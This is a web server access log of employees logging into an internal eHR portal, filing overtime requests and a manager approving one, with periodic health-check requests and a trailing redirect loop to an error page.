100.64.0.1 - - [03/Sep/2025:19:52:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:52:09 +0800] "GET / HTTP/1.0" 200 439
192.168.12.33 - - [03/Sep/2025:19:53:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [03/Sep/2025:19:53:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:19:53:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [03/Sep/2025:19:53:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:19:53:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:19:53:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:19:53:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [03/Sep/2025:19:53:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:19:53:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:19:53:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [03/Sep/2025:19:53:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:53:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:55:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:55:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:56:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:56:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:57:07 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:57:07 +0800] "GET / HTTP/1.0" 200 439
192.168.11.78 - - [03/Sep/2025:19:59:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.78 - - [03/Sep/2025:19:59:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.78 - - [03/Sep/2025:19:59:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:19:59:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.78 - - [03/Sep/2025:19:59:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.78 - - [03/Sep/2025:19:59:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:19:59:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.78 - - [03/Sep/2025:20:00:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8575
192.168.11.78 - - [03/Sep/2025:20:00:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8575 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:20:00:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:00:22 +0800] "GET / HTTP/1.1" 200 439
192.168.11.78 - - [03/Sep/2025:20:01:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.78 - - [03/Sep/2025:20:01:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [03/Sep/2025:20:01:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [03/Sep/2025:20:01:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [03/Sep/2025:20:01:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:20:01:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:01:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.78 - - [03/Sep/2025:20:01:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.78 - - [03/Sep/2025:20:01:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.78 - - [03/Sep/2025:20:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.78 - - [03/Sep/2025:20:01:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [03/Sep/2025:20:01:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.78 - - [03/Sep/2025:20:01:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.78 - - [03/Sep/2025:20:01:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:01:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.78 - - [03/Sep/2025:20:01:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:01:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
100.64.0.1 - - [03/Sep/2025:20:02:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:02:00 +0800] "GET / HTTP/1.1" 200 439
192.168.11.78 - - [03/Sep/2025:20:01:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.78 - - [03/Sep/2025:20:01:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:20:02:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:02:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.78 - - [03/Sep/2025:20:02:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:02:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.78 - - [03/Sep/2025:20:02:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:02:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
100.64.0.1 - - [03/Sep/2025:20:02:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:02:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:03:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:03:14 +0800] "GET / HTTP/1.1" 200 439
192.168.11.78 - - [03/Sep/2025:20:03:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.78 - - [03/Sep/2025:20:03:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.78 - - [03/Sep/2025:20:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20613 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 20613
100.64.0.1 - - [03/Sep/2025:20:03:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:03:41 +0800] "GET / HTTP/1.0" 200 439
192.168.11.78 - - [03/Sep/2025:20:03:45 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:45 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131057%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131057&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131057%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131057&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
